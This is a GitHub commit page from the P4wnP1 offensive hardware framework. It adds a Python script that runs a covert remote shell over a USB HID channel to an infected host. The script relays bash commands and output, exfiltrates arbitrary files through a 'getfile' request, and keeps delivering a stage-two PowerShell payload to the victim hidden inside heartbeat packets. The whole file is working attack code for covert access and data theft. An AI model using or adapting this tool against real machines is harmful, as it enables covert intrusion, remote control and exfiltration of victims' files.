Skip to content

Commit 62b5c40

Browse files
committed
WiFi covert channel: missing dependency for client infection
1 parent 05ef94f commit 62b5c40

7 files changed

+996
-0
lines changed
+331
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,331 @@
1+
#!/usr/bin/python
2+
3+
4+
# This file is part of P4wnP1.
5+
#
6+
# Copyright (c) 2018, Marcus Mengs.
7+
#
8+
# P4wnP1 is free software: you can redistribute it and/or modify
9+
# it under the terms of the GNU General Public License as published by
10+
# the Free Software Foundation, either version 3 of the License, or
11+
# (at your option) any later version.
12+
#
13+
# P4wnP1 is distributed in the hope that it will be useful,
14+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
15+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16+
# GNU General Public License for more details.
17+
#
18+
# You should have received a copy of the GNU General Public License
19+
# along with P4wnP1. If not, see <http://www.gnu.org/licenses/>.
20+
21+
22+
import sys
23+
import struct
24+
import Queue
25+
import subprocess
26+
import thread
27+
import signal
28+
from select import select
29+
import time
30+
31+
chunks = lambda A, chunksize=60: [A[i:i+chunksize] for i in range(0, len(A), chunksize)]
32+
33+
# single packet for a data stream to send
34+
# 0: 1 Byte src
35+
# 1: 1 Byte dst
36+
# 2: 1 Byte snd
37+
# 3: 1 Byte rcv
38+
# 4-63 60 Bytes Payload
39+
40+
# client dst
41+
# 1 stdin
42+
# 2 stdout
43+
# 3 stderr
44+
45+
# reassemable received and enqueue report fragments into full streams (separated by dst/src)
46+
def fragment_rcvd(qin, fragemnt_assembler, src=0, dst=0, data=""):
47+
stream_id = (src, dst)
48+
# if src == dst == 0, ignore (heartbeat)
49+
if (src != 0 or dst !=0):
50+
# check if stream already present
51+
if fragment_assembler.has_key(stream_id):
52+
# check if closing fragment (snd length = 0)
53+
if (len(data) == 0):
54+
# end of stream - add to input queue
55+
stream = [src, dst, fragment_assembler[stream_id][2]]
56+
qin.put(stream)
57+
# delete from fragment_assembler
58+
del fragment_assembler[stream_id]
59+
else:
60+
# append data to stream
61+
fragment_assembler[stream_id][2] += data
62+
#print repr(fragment_assembler[stream_id][2])
63+
else:
64+
# start stream, if not existing
65+
data_arr = [src, dst, data]
66+
fragment_assembler[stream_id] = data_arr
67+
68+
69+
def send_datastream(qout, src=1, dst=1, data=""):
70+
# split data into chunks fitting into packet payload (60 bytes)
71+
chnks = chunks(data)
72+
for chunk in chnks:
73+
data_arr = [src, dst, chunk]
74+
qout.put(data_arr)
75+
# append empty packet to close stream
76+
qout.put([src, dst, ""])
77+
78+
79+
def send_packet(f, src=1, dst=1, data="", rcv=0):
80+
snd = len(data)
81+
#print "Send size: " + str(snd)
82+
packet = struct.pack('!BBBB60s', src, dst, snd, rcv, data)
83+
#print packet.encode("hex")
84+
f.write(packet)
85+
86+
def read_packet(f):
87+
hidin = f.read(0x40)
88+
#print "Input received (" + str(len(hidin)) + " bytes):"
89+
#print hidin.encode("hex")
90+
data = struct.unpack('!BBBB60s', hidin)
91+
src = data[0]
92+
dst = data[1]
93+
snd = data[2]
94+
rcv = data[3]
95+
# reduce msg to real size
96+
msg = data[4][0:snd]
97+
return [src, dst, snd, rcv, msg]
98+
99+
def process_input(qin, subproc):
100+
# HID in loop, should ho to thread
101+
# check if input queue contains data
102+
while True:
103+
if not qin.empty():
104+
input = qin.get()
105+
src=input[0]
106+
dst=input[1]
107+
stream=input[2]
108+
109+
# process received input
110+
# stdin (redirect to bash)
111+
if dst == 1:
112+
command=stream
113+
if command.upper() == "RESET_BASH":
114+
# send sigint to bash
115+
print "Restarting bash process"
116+
reset_bash(subproc)
117+
else:
118+
print "running command '" + command + "'"
119+
run_local_command(command, subproc)
120+
# stdout
121+
elif dst == 2:
122+
print "Data received on stdout"
123+
print stream
124+
pass
125+
# stderr
126+
elif dst == 3:
127+
pass
128+
# getfile
129+
elif dst == 4:
130+
print "Data receiveced on dst=4 (getfile): " + stream
131+
args=stream.split(" ",3)
132+
if (len(args) < 3):
133+
# too few arguments, echo this back with src=2, dst=3 (stderr)
134+
print "To few arguments"
135+
send_datastream(qout, 4, 3, "P4wnP1 received 'getfile' with too few arguments")
136+
# ToDo: files are reassembled here, this code should be moved into a separate method
137+
else:
138+
# check if first word is "getfile" ignore otherwise
139+
if not args[0].strip().lower() == "getfile":
140+
send_datastream(qout, 4, 3, "P4wnP1 received data on dst=4 (getfile) but wrong request format was choosen")
141+
continue
142+
143+
filename = args[1].strip()
144+
varname = args[2].strip()
145+
content = None
146+
# try to open file, send error if not possible
147+
try:
148+
with open(filename, "rb") as f:
149+
content = f.read() # naive approach, reading whole file at once (we split into chunks anyway)
150+
except IOError as e:
151+
# deliver Error to Client errorstream
152+
send_datastream(qout, 4, 3, "Error on getfile: " + e.strerror)
153+
continue
154+
155+
# send header
156+
print "Varname " + str(varname)
157+
send_datastream(qout, 4, 4, "BEGINFILE " + filename + " " + varname)
158+
159+
# send filecontent (sould be chunked into multiple streams, but would need reassembling on layer5)
160+
# note: The client has to read (and recognize) ASCII based header and footer streams, but content could be in binary form
161+
if content == None:
162+
send_datastream(qout, 4, 3, "Error on getfile: No file content read")
163+
else:
164+
#send_datastream(qout, 4, 4, content)
165+
166+
streamchunksize=600
167+
for chunk in chunks(content, streamchunksize):
168+
send_datastream(qout, 4, 4, chunk)
169+
170+
171+
# send footer
172+
send_datastream(qout, 4, 4, "ENDFILE " + filename + " " + varname)
173+
174+
else:
175+
print "Input in input queue:"
176+
print input
177+
178+
179+
180+
181+
def run_local_command(command, bash):
182+
bash = subproc[0]
183+
sin = bash.stdin
184+
sin.write(command + "\n")
185+
sin.flush()
186+
return
187+
188+
def process_bash_output(qout, subproc):
189+
buf = ""
190+
while True:
191+
bash = subproc[0]
192+
outstream = bash.stdout
193+
194+
#print "Reading stdout of bash on " + str(outstream)
195+
196+
# check for output which needs to be delivered from backing bash
197+
try:
198+
r,w,ex = select([outstream], [], [], 0.1)
199+
except ValueError:
200+
# we should land here if the output stream is closed
201+
# because a new bash process was started
202+
pass
203+
204+
if outstream in r:
205+
byte = outstream.read(1)
206+
207+
if byte == "\n":
208+
# full line received from subprocess, send it to HID
209+
# note: the newline char isn't send, as each outputstream is printed in a separate line by the powershell client
210+
211+
# we set src=1 as we receive bash commands on dst=1
212+
# dst = 2 (stdout of client)
213+
send_datastream(qout, 2, 2, buf)
214+
# clear buffer
215+
buf = ""
216+
else:
217+
buf += byte
218+
219+
def process_bash_error(qout, subproc):
220+
buf = ""
221+
while True:
222+
bash = subproc[0]
223+
errstream = bash.stderr
224+
225+
# check for output which needs to be delivered from backing bash stderr
226+
try:
227+
r,w,ex = select([errstream], [], [], 0.1)
228+
except ValueError:
229+
# we should land here if the error stream is closed
230+
# because a new bash process was started
231+
pass
232+
233+
if errstream in r:
234+
byte = errstream.read(1)
235+
if byte == "\n":
236+
# full line received from subprocess, send it to HID
237+
# note: the newline char isn't send, as each outputstream is printed in a separate line by the powershell client
238+
239+
# dst = 3 (stderr of client)
240+
send_datastream(qout, 3, 3, buf)
241+
# clear buffer
242+
buf = ""
243+
else:
244+
buf += byte
245+
246+
# As we don't pipe CTRL+C intterupt from client through
247+
# HID data stream, there has to be another option to reset the bash process if it stalls
248+
# This could easily happen, as we don't support interactive commands, waiting for input
249+
# (this non-interactive shell restriction should be a known hurdle to every pentester out there)
250+
def reset_bash(subproc):
251+
bash = subproc[0]
252+
bash.stdout.close()
253+
bash.kill()
254+
send_datastream(qout, 3, 3, "Bash process terminated")
255+
bash = subprocess.Popen(["bash"], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
256+
subproc[0] = bash
257+
if bash.poll() == None:
258+
send_datastream(qout, 3, 3, "New bash process started")
259+
else:
260+
send_datastream(qout, 3, 3, "Restarting bash failed")
261+
262+
263+
# prepare a stream to answer a getfile request
264+
def stream_from_getfile(filename):
265+
with open(filename,"rb") as f:
266+
content = f.read()
267+
return content
268+
269+
270+
# main code
271+
qout = Queue.Queue()
272+
qin = Queue.Queue()
273+
fragment_assembler = {}
274+
bash = subprocess.Popen(["bash"], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
275+
subproc = [bash] # packed into array to allow easy "call by ref"
276+
277+
# process input
278+
thread.start_new_thread(process_input, (qin, subproc))
279+
# process output
280+
thread.start_new_thread(process_bash_output, (qout, subproc))
281+
# process error
282+
thread.start_new_thread(process_bash_error, (qout, subproc))
283+
284+
# Initialize stage one payload, carried with heartbeat package in endless loop
285+
with open("wifi_agent.ps1","rb") as f:
286+
stage2=f.read()
287+
#initial_payload="#Hey this is the test data for an initial payload calling get-date on PS\nGet-Date"
288+
stage2_chunks = chunks(stage2)
289+
heartbeat_content = []
290+
heartbeat_content += ["begin_heartbeat"]
291+
heartbeat_content += stage2_chunks
292+
heartbeat_content += ["end_heartbeat"]
293+
heartbeat_counter = 0
294+
295+
with open("/dev/hidg1","r+b") as f:
296+
# send test data stream
297+
send_datastream(qout, 1, 1, "Hello from P4wnP1, this message has been sent through a HID device")
298+
299+
while True:
300+
packet = read_packet(f)
301+
src = packet[0]
302+
dst = packet[1]
303+
snd = packet[2]
304+
rcv = packet[3]
305+
msg = packet[4]
306+
307+
# put packet to input queue
308+
fragment_rcvd(qin, fragment_assembler, src, dst, msg)
309+
310+
#print "Packet received"
311+
#print "SRC: " + str(src) + " DST: " + str(dst) + " SND: " + str(snd) + " RCV: " + str(rcv)
312+
#print "Payload: " + repr(msg)
313+
314+
315+
# send data from output queue (empty packet otherwise)
316+
if qout.empty():
317+
# empty keep alive (rcv field filled)
318+
#send_packet(f=f, src=0, dst=0, data="", rcv=snd)
319+
320+
# as the content "keep alive" packets (src=0, dst=0) is ignored
321+
# by the PowerShell client, we use them to carry the initial payload
322+
# in an endless loop
323+
if heartbeat_counter == len(heartbeat_content):
324+
heartbeat_counter = 0
325+
send_packet(f=f, src=0, dst=0, data=heartbeat_content[heartbeat_counter], rcv=snd)
326+
heartbeat_counter += 1
327+
328+
else:
329+
packet = qout.get()
330+
send_packet(f=f, src=packet[0], dst=packet[1], data=packet[2], rcv=snd)
331+

0 commit comments

Comments
 (0)